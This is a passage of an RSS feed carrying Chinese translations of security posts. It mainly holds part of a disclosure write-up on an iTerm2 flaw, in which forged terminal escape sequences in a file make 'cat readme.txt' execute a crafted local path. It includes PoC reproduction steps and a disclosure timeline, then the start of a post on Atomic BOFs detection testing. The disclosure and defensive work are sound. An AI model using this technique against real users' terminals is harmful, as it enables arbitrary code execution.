0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这已足够将 iTerm2 推入其正常的回退流程。此时，iTerm2 认为已完成足够多的 SSH 集成工作流步骤，可以继续执行下一步：构建并发送 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">run(...)</span></code><span leaf="">命令。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sshargs</span></code><span leaf="">的作用</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">伪造的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DCS 2000p</span></code><span leaf="">钩子包含若干字段，其中包括攻击者可控的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sshargs</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该值至关重要，因为 iTerm2 随后在构造 conductor 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">run ...</span></code><span leaf="">请求时，会将其作为构造命令的原始输入。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该漏洞利用代码选取 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sshargs</span></code><span leaf="">的方式，使得当 iTerm2 对以下内容进行 base64 编码：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">run </span><padding><magic-bytes></magic-bytes></padding></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后 128 字节的块恰好变为：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">ace/c+aliFIo</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个字符串并非随意选取。选择它的原因在于，它同时满足以下两个条件：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">conductor 编码路径的有效输出</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">有效的相对路径名</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">PTY 混淆：漏洞利用得以实现的根源</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在合法的 SSH 集成会话中，iTerm2 将 base64 编码的 conductor 命令写入 PTY，由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ssh</span></code><span leaf="">转发至远端 conductor。在漏洞利用场景下，iTerm2 仍向 PTY 写入这些命令，但实际上并不存在真正的 SSH conductor。本地 shell 直接将这些命令作为普通输入接收。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这就是会话录制中呈现如下内容的原因：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getshell</span></code><p><span leaf="">以 base64 形式出现</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pythonversion</span></code><p><span leaf="">以 base64 形式出现</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">随后出现一段经过 base64 编码的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">run ...</span></code><span leaf="">载荷</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">最后一段为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ace/c+aliFIo</span></code></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">靠前的数据段作为无效命令执行失败。若该路径在本地存在且具有可执行权限，最后一段则会执行成功。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">复现步骤</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">可使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">genpoc.py</span></code><span leaf="">复现基于文件的原始 PoC：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">python3 genpoc.py</span><br/><span leaf="">unzip poc.zip</span><br/><span leaf="">cat readme.txt</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">执行后生成：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ace/c+aliFIo</span></code><p><span leaf="">，一个可执行的辅助脚本</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readme.txt</span></code><p><span leaf="">，一个包含恶意 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DCS 2000p</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OSC 135</span></code><span leaf="">序列的文件</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">前者诱使 iTerm2 与伪造的 conductor 通信。后者在最终数据块到达时，向 shell 提供可实际执行的内容。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要使漏洞利用生效，需在包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ace/c+aliFIo</span></code><span leaf="">的目录下执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cat readme.txt</span></code><span leaf="">，从而使由攻击者构造的最终数据块解析为真实的可执行路径。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">披露时间线</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">3 月 30 日：我们向 iTerm2 报告了该漏洞。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3 月 31 日：该漏洞已在提交 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">a9e745993c2e2cbb30b884a16617cd5495899f86</span></code><span leaf="">中修复。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">截至撰写本文时，该修复尚未进入稳定版本。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">补丁提交合并后，我们尝试仅凭该补丁从头重建漏洞利用。此过程所用的提示词记录于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">prompts.md</span></code><span leaf="">，最终生成的利用脚本为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">genpoc2.py</span></code><span leaf="">，其工作方式与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">genpoc.py</span></code><span leaf="">非常相似。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.calif.io/p/mad-bugs-even-cat-readmetxt-is-not">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1c5e9226&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495869%26idx%3D2%26sn%3Df802ad2e964460c1872d1b659704c7e3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2026 12:54:00 +0800</pubDate>
    </item>
    <item>
      <title>Atomic BOFs：BOF 执行的原子化测试框架</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495867&amp;idx=1&amp;sn=7817f173f8d88c5fda5d2cd3d7528811</link>
      <description>介绍 Atomic BOFs 项目：利用 BOF Inversions 与 BOF Cocktails 两项设计，将 API 实现和规避技法内嵌至 BOF 本身，使 BOF 成为无需 C2 框架即可独立运行的原子测试单元，供检测工程师构建和验证检测规则。</description>
      <content:encoded><![CDATA[<p><span>securitainment</span> <span>2026-04-29 17:48</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3529d486&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiaUMK1X3yW0RZy495PFccEIzy64xOUqN5Tsgsrlk0xXhymzktF4r6GalSL8VbWo3CxebQw0r5C2CXrbibSznQaBFFFhyqpKSicia8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>介绍 Atomic BOFs 项目：利用 BOF Inversions 与 BOF Cocktails 两项设计，将 API 实现和规避技法内嵌至 BOF 本身，使 BOF 成为无需 C2 框架即可独立运行的原子测试单元，供检测工程师构建和验证检测规则。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://rastamouse.me/atomic-bofs/" target="_blank">https://rastamouse.me/atomic-bofs/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">crystal-palace</span></p></td></tr></tbody></table><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">tl;dr</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">受 Red Canary 的 Atomic Red Team 启发，&#39;Atomic BOFs&#39; 是我对一种实现模式的探索，旨在简化 Beacon Object Files 的检测工程工作。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">(<a href="https://github.com/rasta-mouse/atomic-bofs)" target="_blank">https://github.com/rasta-mouse/atomic-bofs)</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本项目基于两个设计理念。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">BOF Inversions</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">BOF 是一种对象（COFF）文件，由 C2（如 Cobalt Strike）加载，并链接至 Win32 API 及部分内部 Beacon API。这些内部 API 的实现位于 Beacon 代理内部，因此 BOF 的执行依赖于该代理。目前已有的 COFF/BOF 加载器项目几乎无一例外——例如 